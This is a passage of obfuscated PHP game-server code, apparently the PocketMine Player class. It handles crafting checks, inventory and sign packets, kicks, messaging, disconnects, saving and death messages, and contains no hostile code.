and${$ihafmqth};++${${"GLOBALS"}["vwkoakpxb"]}){${"GLOBALS"}["fdycleihe"]="y";$tbwyvqmnxyl="y";for(${${"GLOBALS"}["fdycleihe"]}=0;${${"GLOBALS"}["vwfdonghmrr"]}<3;++${$tbwyvqmnxyl}){${"GLOBALS"}["fqyvlhwpjv"]="ingredient";$hwodnsiqjkm="y";${${"GLOBALS"}["fohexunnbe"]}=$packet->input[${$hwodnsiqjkm}*3+${${"GLOBALS"}["bfkluni"]}];${${"GLOBALS"}["fqyvlhwpjv"]}=$recipe->getIngredient(${${"GLOBALS"}["bfkluni"]},${${"GLOBALS"}["vwfdonghmrr"]});${"GLOBALS"}["wqmajteojk"]="ingredient";if($item->getCount()>0 and$item->getId()>0){${"GLOBALS"}["jwetplxt"]="ingredient";${"GLOBALS"}["wlwrmsds"]="item";if(${${"GLOBALS"}["jwetplxt"]}==null){${"GLOBALS"}["cqyxtv"]="canCraft";${${"GLOBALS"}["cqyxtv"]}=false;break;}if($ingredient->getId()!=0 and!$ingredient->deepEquals(${${"GLOBALS"}["wlwrmsds"]},$ingredient->getDamage()!==null,$ingredient->getCompoundTag()!==null)){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}}elseif(${${"GLOBALS"}["wqmajteojk"]}!==null and$item->getId()!==0){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}}}}elseif(${${"GLOBALS"}["ckvclznrr"]} instanceof ShapelessRecipe){${"GLOBALS"}["fqnrpkisev"]="x";$wphwnhmvb="canCraft";${${"GLOBALS"}["ufdfbmfqh"]}=$recipe->getIngredientList();${"GLOBALS"}["lyvsdmsrh"]="x";for(${${"GLOBALS"}["lyvsdmsrh"]}=0;${${"GLOBALS"}["bfkluni"]}<3 and${$wphwnhmvb};++${${"GLOBALS"}["fqnrpkisev"]}){${"GLOBALS"}["qpxuvkqdtohq"]="y";${"GLOBALS"}["pjfhgrvcssp"]="y";for(${${"GLOBALS"}["qpxuvkqdtohq"]}=0;${${"GLOBALS"}["vwfdonghmrr"]}<3;++${${"GLOBALS"}["pjfhgrvcssp"]}){$wheltlgwhd="needed";${"GLOBALS"}["mrmzit"]="item";$otjtxpqpwxt="k";${${"GLOBALS"}["mrmzit"]}=clone$packet->input[${${"GLOBALS"}["vwfdonghmrr"]}*3+${${"GLOBALS"}["bfkluni"]}];foreach(${$wheltlgwhd} as${$otjtxpqpwxt}=>${${"GLOBALS"}["xelopofclyp"]}){if($n->deepEquals(${${"GLOBALS"}["fohexunnbe"]},$n->getDamage()!==null,$n->getCompoundTag()!==null)){${${"GLOBALS"}["gjjebprqtv"]}=min($n->getCount(),$item->getCount());$n->setCount($n->getCount()-${${"GLOBALS"}["gjjebprqtv"]});$item->setCount($item->getCount()-${${"GLOBALS"}["gjjebprqtv"]});if($n->getCount()===0){$nmkdbbcpwpz="k";unset(${${"GLOBALS"}["ufdfbmfqh"]}[${$nmkdbbcpwpz}]);}}}if($item->getCount()>0){${"GLOBALS"}["erfebyomr"]="canCraft";${${"GLOBALS"}["erfebyomr"]}=false;break;}}}if(count(${${"GLOBALS"}["ufdfbmfqh"]})>0){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;}}else{${${"GLOBALS"}["lktqbjmvtzkt"]}=false;}$jyxykxlcvl="extraItem";${${"GLOBALS"}["lktqbjmvtzkt"]}=true;${${"GLOBALS"}["jhwcijuv"]}=$packet->input;$lzgcskdxk="slot";${${"GLOBALS"}["ypdopyscyms"]}=$packet->output[0];if(!${${"GLOBALS"}["lktqbjmvtzkt"]} or!$recipe->getResult()->deepEquals(${${"GLOBALS"}["xexsmxb"]})){$xvbyqoxrfem="ingredients";$this->server->getLogger()->debug("Unmatched recipe ".$recipe->getId()." from player ".$this->getName().": expected ".$recipe->getResult().", got ".${${"GLOBALS"}["xexsmxb"]}.", using: ".implode(", ",${$xvbyqoxrfem}));$this->inventory->sendContents($this);break;}${"GLOBALS"}["chvpvm"]="canCraft";${${"GLOBALS"}["temxnfsbc"]}=array_fill(0,$this->inventory->getSize(),0);$lqsioulrpr="ingredient";foreach(${${"GLOBALS"}["ijknecetbrk"]} as${$lqsioulrpr}){${"GLOBALS"}["wktaaexxwh"]="index";$nvtigirnxkk="slot";${$nvtigirnxkk}=-1;foreach($this->inventory->getContents()as${${"GLOBALS"}["wktaaexxwh"]}=>${${"GLOBALS"}["oilgiiu"]}){if($ingredient->getId()!==0 and$ingredient->deepEquals(${${"GLOBALS"}["oilgiiu"]},$ingredient->getDamage()!==null)and($i->getCount()-${${"GLOBALS"}["temxnfsbc"]}[${${"GLOBALS"}["uspqxtmors"]}])>=1){$uybsieg="slot";$mqoolbqgyxv="used";${$uybsieg}=${${"GLOBALS"}["uspqxtmors"]};${$mqoolbqgyxv}[${${"GLOBALS"}["uspqxtmors"]}]++;break;}}if($ingredient->getId()!==0 and${${"GLOBALS"}["dfgxmweyoham"]}===-1){${${"GLOBALS"}["lktqbjmvtzkt"]}=false;break;}}${"GLOBALS"}["ftlaopfykst"]="ingredients";if(!${${"GLOBALS"}["chvpvm"]}){$bbnzxgskv="ingredients";$this->server->getLogger()->debug("Unmatched recipe ".$recipe->getId()." from player ".$this->getName().": client does not have enough items, using: ".implode(", ",${$bbnzxgskv}));$this->inventory->sendContents($this);break;}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["plqjchucvv"]}=new CraftItemEvent($this,${${"GLOBALS"}["ftlaopfykst"]},${${"GLOBALS"}["bhmieid"]}));if($ev->isCancelled()){$this->inventory->sendContents($this);break;}foreach(${$yerfqqirywkc} as${$lzgcskdxk}=>${${"GLOBALS"}["cfrejkkd"]}){${"GLOBALS"}["ymumeiok"]="slot";if(${${"GLOBALS"}["cfrejkkd"]}===0){continue;}$ebkpynvcu="item";${"GLOBALS"}["qeqzskisopj"]="count";${$ebkpynvcu}=$this->inventory->getItem(${${"GLOBALS"}["dfgxmweyoham"]});if($item->getCount()>${${"GLOBALS"}["qeqzskisopj"]}){${"GLOBALS"}["glwmlvhrwjbq"]="newItem";${"GLOBALS"}["tdghpfoboo"]="item";${${"GLOBALS"}["glwmlvhrwjbq"]}=clone${${"GLOBALS"}["tdghpfoboo"]};$newItem->setCount($item->getCount()-${${"GLOBALS"}["cfrejkkd"]});}else{${"GLOBALS"}["dsctpqkmdbbv"]="newItem";${${"GLOBALS"}["dsctpqkmdbbv"]}=Item::get(Item::AIR,0,0);}$this->inventory->setItem(${${"GLOBALS"}["ymumeiok"]},${${"GLOBALS"}["uqictxrg"]});}${${"GLOBALS"}["oyhuokq"]}=$this->inventory->addItem($recipe->getResult());if(count(${$jyxykxlcvl})>0 and!$this->isCreative()){${"GLOBALS"}["zkhigmvljs"]="item";foreach(${${"GLOBALS"}["oyhuokq"]} as${${"GLOBALS"}["zkhigmvljs"]}){$this->level->dropItem($this,${${"GLOBALS"}["fohexunnbe"]});}}}break;case ProtocolInfo::CONTAINER_SET_SLOT_PACKET:case\pocketmine\network\protocol\p70\Info::CONTAINER_SET_SLOT_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}if($packet->slot<0){break;}if($packet->windowid===0){$buerrtjh="transaction";if($packet->slot>=$this->inventory->getSize()){break;}${$buerrtjh}=new BaseTransaction($this->inventory,$packet->slot,$packet->item);}elseif($packet->windowid===ContainerSetContentPacket::SPECIAL_ARMOR){if($packet->slot>=4){break;}${${"GLOBALS"}["fadixrmo"]}=new BaseTransaction($this->inventory,$packet->slot+$this->inventory->getSize(),$packet->item);}elseif(isset($this->windowIndex[$packet->windowid])){$pfprxprgzzb="inv";$wvrrwmyto="inv";${$pfprxprgzzb}=$this->windowIndex[$packet->windowid];if(${${"GLOBALS"}["wphesenu"]} instanceof EnchantInventory and$packet->item->hasEnchantments()){$inv->onEnchant($this,$inv->getItem($packet->slot),$packet->item);}${"GLOBALS"}["qyuwrqyyi"]="transaction";${${"GLOBALS"}["qyuwrqyyi"]}=new BaseTransaction(${$wvrrwmyto},$packet->slot,$packet->item,[]);}else{break;}$this->getTransactionQueue()->addTransaction(${${"GLOBALS"}["fadixrmo"]});break;case ProtocolInfo::BLOCK_ENTITY_DATA_PACKET:case\pocketmine\network\protocol\p70\Info::BLOCK_ENTITY_DATA_PACKET:if($this->spawned===false or$this->blocked===true or!$this->isAlive()){break;}$this->craftingType=self::CRAFTING_SMALL;${${"GLOBALS"}["bknftipfwnib"]}=new Vector3($packet->x,$packet->y,$packet->z);if($pos->distanceSquared($this)>10000){break;}${${"GLOBALS"}["sniubrdqyet"]}=$this->level->getTile(${${"GLOBALS"}["wxoehmqbtg"]});if(${${"GLOBALS"}["ijwnxne"]} instanceof Sign){${"GLOBALS"}["cdvpuoy"]="nbt";${"GLOBALS"}["fuixjqiitx"]="nbt";${${"GLOBALS"}["cdvpuoy"]}=new NBT(NBT::LITTLE_ENDIAN);$nbt->read($packet->namedtag);$frlbcvhq="nbt";${${"GLOBALS"}["fuixjqiitx"]}=$nbt->getData();if(${$frlbcvhq}["id"]!==Tile::SIGN){$t->spawnTo($this);}else{$wripktny="nbt";$dbwwkjnmnkn="nbt";${${"GLOBALS"}["qcfzvl"]}=new SignChangeEvent($t->getBlock(),$this,[TextFormat::clean(${${"GLOBALS"}["snbhmgypsq"]}["Text1"],$this->removeFormat),TextFormat::clean(${$wripktny}["Text2"],$this->removeFormat),TextFormat::clean(${$dbwwkjnmnkn}["Text3"],$this->removeFormat),TextFormat::clean(${${"GLOBALS"}["snbhmgypsq"]}["Text4"],$this->removeFormat)]);if(!isset($t->namedtag->Creator)or$t->namedtag["Creator"]!==$this->getRawUniqueId()){$ev->setCancelled();}$bwvshkoxld="ev";$this->server->getPluginManager()->callEvent(${$bwvshkoxld});if(!$ev->isCancelled()){$t->setText($ev->getLine(0),$ev->getLine(1),$ev->getLine(2),$ev->getLine(3));}else{$t->spawnTo($this);}}}break;default:break;}}public function kick($reason="",$isAdmin=true){$oeymqfpd="ev";$this->server->getPluginManager()->callEvent(${$oeymqfpd}=new PlayerKickEvent($this,${${"GLOBALS"}["blfxlne"]},$this->getLeaveMessage()));if(!$ev->isCancelled()){${"GLOBALS"}["raagjreo"]="isAdmin";if(${${"GLOBALS"}["raagjreo"]}){${${"GLOBALS"}["vyzlfgfs"]}="Kicked by admin.".(${${"GLOBALS"}["blfxlne"]}!==""?" Reason: ".${${"GLOBALS"}["blfxlne"]}:"");}else{$ttmoxevcg="reason";if(${$ttmoxevcg}===""){${${"GLOBALS"}["vyzlfgfs"]}="disconnectionScreen.noReason";}else{${${"GLOBALS"}["vyzlfgfs"]}=${${"GLOBALS"}["blfxlne"]};}}$this->close($ev->getQuitMessage(),${${"GLOBALS"}["vyzlfgfs"]});return true;}return false;}public function dropItem(Item$item){if($this->spawned===false or$this->blocked===true or!$this->isAlive()){return;}${"GLOBALS"}["mhcyjmsb"]="item";${"GLOBALS"}["ncdyghi"]="item";${"GLOBALS"}["jgdmlsjmczn"]="ev";if(($this->isCreative()and$this->server->limitedCreative)or$this->isSpectator()){return;}if($item->getId()===Item::AIR or$item->getCount()<1){return;}${${"GLOBALS"}["jgdmlsjmczn"]}=new PlayerDropItemEvent($this,${${"GLOBALS"}["ncdyghi"]});$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if($ev->isCancelled()){return;}${"GLOBALS"}["ejittlhz"]="motion";${"GLOBALS"}["unjsykqtqg"]="motion";${${"GLOBALS"}["ejittlhz"]}=$this->getDirectionVector()->multiply(0.4);$this->level->dropItem($this->add(0,1.3,0),${${"GLOBALS"}["mhcyjmsb"]},${${"GLOBALS"}["unjsykqtqg"]},40);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);}public function sendMessage($message){$tuwxwevcwhi="message";${"GLOBALS"}["qyzfncy"]="m";${"GLOBALS"}["lejuceux"]="mes";if(${${"GLOBALS"}["vyzlfgfs"]} instanceof TextContainer){if(${${"GLOBALS"}["vyzlfgfs"]} instanceof TranslationContainer){$this->sendTranslation($message->getText(),$message->getParameters());return false;}${${"GLOBALS"}["vyzlfgfs"]}=$message->getText();}${${"GLOBALS"}["lejuceux"]}=explode("\n",$this->server->getLanguage()->translateString(${$tuwxwevcwhi}));foreach(${${"GLOBALS"}["pvemrbfhr"]} as${${"GLOBALS"}["qyzfncy"]}){${"GLOBALS"}["ggjvqropnlte"]="m";if(${${"GLOBALS"}["ggjvqropnlte"]}!==""){${"GLOBALS"}["khgjcotilc"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["khgjcotilc"]}=new PlayerTextPreSendEvent($this,${${"GLOBALS"}["dttnfasbmgir"]},PlayerTextPreSendEvent::MESSAGE));if(!$ev->isCancelled()){${${"GLOBALS"}["ozzywsrssq"]}=new TextPacket();$pk->type=TextPacket::TYPE_RAW;$pk->message=$ev->getMessage();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}}return true;}public function sendTranslation($message,array$parameters=[]){${${"GLOBALS"}["ozzywsrssq"]}=new TextPacket();${"GLOBALS"}["vbdfsb"]="ev";if(!$this->server->isLanguageForced()){${"GLOBALS"}["nchbydgvkimm"]="i";$pk->type=TextPacket::TYPE_TRANSLATION;$umjjiv="parameters";$pk->message=$this->server->getLanguage()->translateString(${${"GLOBALS"}["vyzlfgfs"]},${${"GLOBALS"}["agiqutmbx"]},"pocketmine.");foreach(${${"GLOBALS"}["agiqutmbx"]} as${${"GLOBALS"}["nchbydgvkimm"]}=>${${"GLOBALS"}["hejqsdj"]}){$qezdhexyn="parameters";${"GLOBALS"}["ucvvuoca"]="p";${"GLOBALS"}["vcwmtewhyx"]="i";${$qezdhexyn}[${${"GLOBALS"}["vcwmtewhyx"]}]=$this->server->getLanguage()->translateString(${${"GLOBALS"}["ucvvuoca"]},${${"GLOBALS"}["agiqutmbx"]},"pocketmine.");}$pk->parameters=${$umjjiv};}else{$yutycok="parameters";$pk->type=TextPacket::TYPE_RAW;$pk->message=$this->server->getLanguage()->translateString(${${"GLOBALS"}["vyzlfgfs"]},${$yutycok});}${${"GLOBALS"}["qcfzvl"]}=new PlayerTextPreSendEvent($this,$pk->message,PlayerTextPreSendEvent::TRANSLATED_MESSAGE);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["vbdfsb"]});if(!$ev->isCancelled()){$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});return true;}return false;}public function sendPopup($message,$subtitle=""){${"GLOBALS"}["pyslvocnm"]="ev";$duvusxasvypa="ev";${$duvusxasvypa}=new PlayerTextPreSendEvent($this,${${"GLOBALS"}["vyzlfgfs"]},PlayerTextPreSendEvent::POPUP);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["pyslvocnm"]});if(!$ev->isCancelled()){${${"GLOBALS"}["ozzywsrssq"]}=new TextPacket();$pk->type=TextPacket::TYPE_POPUP;$pk->source=$ev->getMessage();$pk->message=${${"GLOBALS"}["jsxvzpkhuha"]};$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});return true;}return false;}public function sendTip($message){$hoetbhqbk="ev";$mavewygpvw="message";$mivzcocodn="ev";${$mivzcocodn}=new PlayerTextPreSendEvent($this,${$mavewygpvw},PlayerTextPreSendEvent::TIP);$this->server->getPluginManager()->callEvent(${$hoetbhqbk});if(!$ev->isCancelled()){$wofoscgm="pk";${$wofoscgm}=new TextPacket();$pk->type=TextPacket::TYPE_TIP;$pk->message=$ev->getMessage();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});return true;}return false;}public final function close($message="",$reason="generic reason",$notify=true){if($this->connected and!$this->closed){${"GLOBALS"}["canvikxuvu"]="notify";$yunoeizfvko="window";${"GLOBALS"}["mxbdkkcp"]="d";${"GLOBALS"}["ciskkhmipl"]="ev";if(${${"GLOBALS"}["canvikxuvu"]} and strlen((string)${${"GLOBALS"}["blfxlne"]})>0){if($this->getProtocol()==84){${${"GLOBALS"}["ozzywsrssq"]}=new DisconnectPacket();}elseif(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new\pocketmine\network\protocol\p70\DisconnectPacket();}$pk->message=${${"GLOBALS"}["blfxlne"]};$this->directDataPacket(${${"GLOBALS"}["ozzywsrssq"]});}if($this->fishingHook instanceof FishingHook){$this->fishingHook->close();$this->fishingHook=null;}$this->removeEffect(Effect::HEALTH_BOOST);$this->connected=false;if(strlen($this->getName())>0){${"GLOBALS"}["hwyvpmj"]="message";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerQuitEvent($this,${${"GLOBALS"}["hwyvpmj"]},true));if($this->loggedIn===true and$ev->getAutoSave()){$this->save();}}foreach($this->server->getOnlinePlayers()as${${"GLOBALS"}["qnhmrhqnggr"]}){if(!$player->canSee($this)){$player->showPlayer($this);}}$this->hiddenPlayers=[];foreach($this->windowIndex as${$yunoeizfvko}){$this->removeWindow(${${"GLOBALS"}["tosljdjh"]});}foreach($this->usedChunks as${${"GLOBALS"}["uspqxtmors"]}=>${${"GLOBALS"}["mxbdkkcp"]}){$bkrmoay="index";$rwxutltrl="index";$emqufcavfyc="chunkZ";Level::getXZ(${$bkrmoay},${${"GLOBALS"}["uvtebnejz"]},${${"GLOBALS"}["dwjjtd"]});$this->level->unregisterChunkLoader($this,${${"GLOBALS"}["uvtebnejz"]},${$emqufcavfyc});unset($this->usedChunks[${$rwxutltrl}]);}parent::close();$this->interface->close($this,${${"GLOBALS"}["jhpqclndfsq"]}?${${"GLOBALS"}["blfxlne"]}:"");if($this->loggedIn){$this->server->removeOnlinePlayer($this);}$this->loggedIn=false;if(isset(${${"GLOBALS"}["ciskkhmipl"]})and$this->username!=""and$this->spawned!==false and$ev->getQuitMessage()!=""){if($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_MESSAGE)$this->server->broadcastMessage($ev->getQuitMessage());elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_TIP)$this->server->broadcastTip(str_replace("@player",$this->getName(),$this->server->playerLogoutMsg));elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_POPUP)$this->server->broadcastPopup(str_replace("@player",$this->getName(),$this->server->playerLogoutMsg));}$this->server->getPluginManager()->unsubscribeFromPermission(Server::BROADCAST_CHANNEL_USERS,$this);$this->spawned=false;$this->server->getLogger()->info($this->getServer()->getLanguage()->translateString("pocketmine.player.logOut",[TextFormat::AQUA.$this->getName().TextFormat::WHITE,$this->ip,$this->port,$this->getServer()->getLanguage()->translateString(${${"GLOBALS"}["blfxlne"]})]));$this->windows=new\SplObjectStorage();$this->windowIndex=[];$this->usedChunks=[];$this->loadQueue=[];$this->hasSpawned=[];$this->spawnPosition=null;unset($this->buffer);if($this->server->dserverConfig["enable"]and$this->server->dserverConfig["queryAutoUpdate"])$this->server->updateQuery();}if($this->perm!==null){$this->perm->clearPermissions();$this->perm=null;}$this->inventory=null;$this->transactionQueue=null;$this->chunk=null;$this->server->removePlayer($this);}public function __debugInfo(){return[];}public function save($async=false){if($this->closed){throw new\InvalidStateException("Tried to save closed player");}parent::saveNBT();if($this->level instanceof Level){$this->namedtag->Level=new StringTag("Level",$this->level->getName());if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level and$this->spawnPosition->getLevel()->getProvider()!==NULL){$this->namedtag["SpawnLevel"]=$this->spawnPosition->getLevel()->getName();$this->namedtag["SpawnX"]=(int)$this->spawnPosition->x;$this->namedtag["SpawnY"]=(int)$this->spawnPosition->y;$this->namedtag["SpawnZ"]=(int)$this->spawnPosition->z;}$this->namedtag["playerGameType"]=$this->gamemode;$this->namedtag["lastPlayed"]=new LongTag("lastPlayed",floor(microtime(true)*1000));$this->namedtag["Hunger"]=new ShortTag("Hunger",$this->food);$this->namedtag["Health"]=new ShortTag("Health",$this->getHealth());$this->namedtag["MaxHealth"]=new ShortTag("MaxHealth",$this->getMaxHealth());$this->namedtag["Experience"]=new LongTag("Experience",$this->exp);$this->namedtag["ExpLevel"]=new LongTag("ExpLevel",$this->expLevel);if($this->username!=""and$this->namedtag instanceof CompoundTag){$iarcrfawdk="async";$this->server->saveOfflinePlayerData($this->username,$this->namedtag,${$iarcrfawdk});}}}public function getName(){return$this->username;}public function kill(){$hrppjulhs="params";${"GLOBALS"}["lieiimj"]="message";${"GLOBALS"}["rvxlxgpy"]="message";$bxjbophohvp="cause";$gveclbhpcuz="message";${"GLOBALS"}["xtcwfhcwd"]="message";$pqklgnjmoz="ev";if(!$this->spawned){return;}${${"GLOBALS"}["lieiimj"]}="death.attack.generic";${"GLOBALS"}["yanpgiujvpmy"]="message";${"GLOBALS"}["csxjxnp"]="cause";${"GLOBALS"}["gyorxsiuln"]="message";${$hrppjulhs}=[$this->getDisplayName()];${${"GLOBALS"}["csxjxnp"]}=$this->getLastDamageCause();${"GLOBALS"}["asfdrdktz"]="pos";switch(${${"GLOBALS"}["zmuhpbybd"]}===null?EntityDamageEvent::CAUSE_CUSTOM:$cause->getCause()){case EntityDamageEvent::CAUSE_ENTITY_ATTACK:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageByEntityEvent){${"GLOBALS"}["wwdgimrfwihu"]="e";${${"GLOBALS"}["wwdgimrfwihu"]}=$cause->getDamager();$ohvpuok="e";if(${${"GLOBALS"}["pysiiolnxh"]} instanceof Player){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.player";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getDisplayName();break;}elseif(${$ohvpuok} instanceof Living){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.mob";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}else{${${"GLOBALS"}["gordtxxcvh"]}[]="Unknown";}}break;case EntityDamageEvent::CAUSE_PROJECTILE:if(${$bxjbophohvp} instanceof EntityDamageByEntityEvent){${"GLOBALS"}["bycevwebfwx"]="e";${${"GLOBALS"}["pysiiolnxh"]}=$cause->getDamager();if(${${"GLOBALS"}["bycevwebfwx"]} instanceof Player){${"GLOBALS"}["kkbnkod"]="params";${"GLOBALS"}["dyhzcehomtn"]="message";${${"GLOBALS"}["dyhzcehomtn"]}="death.attack.arrow";${${"GLOBALS"}["kkbnkod"]}[]=$e->getDisplayName();}elseif(${${"GLOBALS"}["pysiiolnxh"]} instanceof Living){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.arrow";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}else{${${"GLOBALS"}["gordtxxcvh"]}[]="Unknown";}}break;case EntityDamageEvent::CAUSE_SUICIDE:${${"GLOBALS"}["xtcwfhcwd"]}="death.attack.generic";break;case EntityDamageEvent::CAUSE_VOID:${${"GLOBALS"}["yanpgiujvpmy"]}="death.attack.outOfWorld";break;case EntityDamageEvent::CAUSE_FALL:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageEvent){if($cause->getFinalDamage()>2){${"GLOBALS"}["wtkhjkeoan"]="message";${${"GLOBALS"}["wtkhjkeoan"]}="death.fell.accident.generic";break;}}${${"GLOBALS"}["rvxlxgpy"]}="death.attack.fall";break;case EntityDamageEvent::CAUSE_SUFFOCATION:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.inWall";break;case EntityDamageEvent::CAUSE_LAVA:${$gveclbhpcuz}="death.attack.lava";break;case EntityDamageEvent::CAUSE_FIRE:${${"GLOBALS"}["gyorxsiuln"]}="death.attack.onFire";break;case EntityDamageEvent::CAUSE_FIRE_TICK:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.inFire";break;case EntityDamageEvent::CAUSE_DROWNING:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.drown";break;case EntityDamageEvent::CAUSE_CONTACT:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageByBlockEvent){if($cause->getDamager()->getId()===Block::CACTUS){${"GLOBALS"}["betwegxssyh"]="message";${${"GLOBALS"}["betwegxssyh"]}="death.attack.cactus";}}break;case EntityDamageEvent::CAUSE_BLOCK_EXPLOSION:case EntityDamageEvent::CAUSE_ENTITY_EXPLOSION:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageByEntityEvent){${"GLOBALS"}["ragpjledspgk"]="e";${"GLOBALS"}["rvcaeqyomrh"]="e";${${"GLOBALS"}["rvcaeqyomrh"]}=$cause->getDamager();if(${${"GLOBALS"}["ragpjledspgk"]} instanceof Player){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.explosion.player";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getDisplayName();}elseif(${${"GLOBALS"}["pysiiolnxh"]} instanceof Living){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.explosion.player";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}}else{${${"GLOBALS"}["vyzlfgfs"]}="death.attack.explosion";}break;case EntityDamageEvent::CAUSE_MAGIC:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.magic";break;case EntityDamageEvent::CAUSE_CUSTOM:break;default:}Entity::kill();${$pqklgnjmoz}=new PlayerDeathEvent($this,$this->getDrops(),new TranslationContainer(${${"GLOBALS"}["vyzlfgfs"]},${${"GLOBALS"}["gordtxxcvh"]}));$ev->setKeepInventory($this->server->keepInventory);$ev->setKeepExperience($this->server->keepExperience);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if(!$ev->getKeepInventory()){foreach($ev->getDrops()as${${"GLOBALS"}["fohexunnbe"]}){$this->level->dropItem($this,${${"GLOBALS"}["fohexunnbe"]});}if($this->inventory!==null){$this->inventory->clearAll();}}if($this->server->expEnabled and!$ev->getKeepExperience()){${${"GLOBALS"}["qqhvthwj"]}=min(91,$this->getTotalXp());${"GLOBALS"}["jgefjnqgcoc"]="exp";$this->getLevel()->spawnXPOrb($this->add(0,0.2,0),${${"GLOBALS"}["jgefjnqgcoc"]});$this->setTotalXp(0,true);}if($ev->getDeathMessage()!=""){$this->server->broadcast($ev->getDeathMessage(),Server::BROADCAST_CHANNEL_USERS);}${${"GLOBALS"}["asfdrdktz"]}=$this->getSpawn();$this->setHealth(0);${${"GLOBALS"}["ozzywsrssq"]}=new RespawnPacket();$pk->x=$pos->x;$pk->y=$pos->y;$pk->z=$pos->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}public function setHealth($amount){parent::setHealth(${${"GLOBALS"}["rrviqs"]});if($this->spawned===true){$this->foodTick=0;$this->getAttributeMap()->getAttribute(Attribute::HEALTH)->setMaxValue($this->getMaxHealth())->setValue(${${"GLOBALS"}["rrviqs"]},true);}}public function attack($damage,EntityDamageEvent$source){if(!$this->isAlive()){return;}${"GLOBALS"}["qdebzc"]="source";if($this->isCreative()and$source->getCause()!==EntityDamageEvent::CAUSE_MAGIC and$source->getCause()!==EntityDamageEvent::CAUSE_SUICIDE and$source->getCause()!==EntityDamageEvent::CAUSE_VOID){$source->setCancelled();}elseif($this->allowFlight and$source->getCause()===EntityDamageEvent::CAUSE_FALL){$source->setCancelled();}parent::attack(${${"GLOBALS"}["atfjurku"]},${${"GLOBALS"}["qdebzc"]});if($source->isCancelled()){return;}elseif($this->getLastDamageCause()===${${"GLOBALS"}["kvphqr"]} and$this->spawned){${${"GLOBALS"}["ozzywsrssq"]}=new EntityEventPacket();$pk->eid=0;$pk->event=EntityEventPacket::HURT_ANIMATION;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});if($this->isSurvival()){$this->exhaust(0.3,PlayerExhaustEvent::CAUSE_DAMAGE);}}}public function sendPosition(Vector3$pos,$yaw=null,$pitch=null,$mode=0,array$targets=null){${"GLOBALS"}["jkrvktjy"]="yaw";${"GLOBALS"}["vwdblw"]="pk";$izkmtabx="pitch";$lrtaahtw="targets";${${"GLOBALS"}["jkrvktjy"]}=${${"GLOBALS"}["fpjrglovqm"]}===null?$this->yaw:${${"GLOBALS"}["fpjrglovqm"]};${${"GLOBALS"}["wvtjdkymit"]}=${$izkmtabx}===null?$this->pitch:${${"GLOBALS"}["wvtjdkymit"]};${${"GLOBALS"}["vwdblw"]}=new MovePlayerPacket();${"GLOBALS"}["mjkqls"]="pitch";$pk->eid=$this->getId();$pk->x=$pos->x;$pk->y=$pos->y+$this->getEyeHeight();$pk->z=$pos->z;$nvtgdpf="yaw";$pk->bodyYaw=${$nvtgdpf};$pk->pitch=${${"GLOBALS"}["mjkqls"]};$pk->yaw=${${"GLOBALS"}["fpjrglovqm"]};$pk->mode=${${"GLOBALS"}["dgvgvh"]};if(${$lrtaahtw}!==null){${"GLOBALS"}["ecxkxphdnu"]="targets";$dqkmcs="pk";Server::broadcastPacket(${${"GLOBALS"}["ecxkxphdnu"]},${$dqkmcs});}else{$pk->eid=0;$hywglzdhd="pk";$this->dataPacket(${$hywglzdhd});}}protected function checkChunks(){if($this->chunk===null or($this->chunk->getX()!==($this->x>>4)or$this->chunk->getZ()!==($this->z>>4))){if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=$this->level->getChunk($this->x>>4,$this->z>>4,true);if(!$this->justCreated){$bizebolr="newChunk";${$bizebolr}=$this->level->getChunkPlayers($this->x>>4,$this->z>>4);${"GLOBALS"}["tlqonys"]="newChunk";$rrnmxorc="newChunk";unset(${${"GLOBALS"}["tlqonys"]}[$this->getLoaderId()]);${${"GLOBALS"}["jrvpsabiq"]}=[];foreach($this->hasSpawned 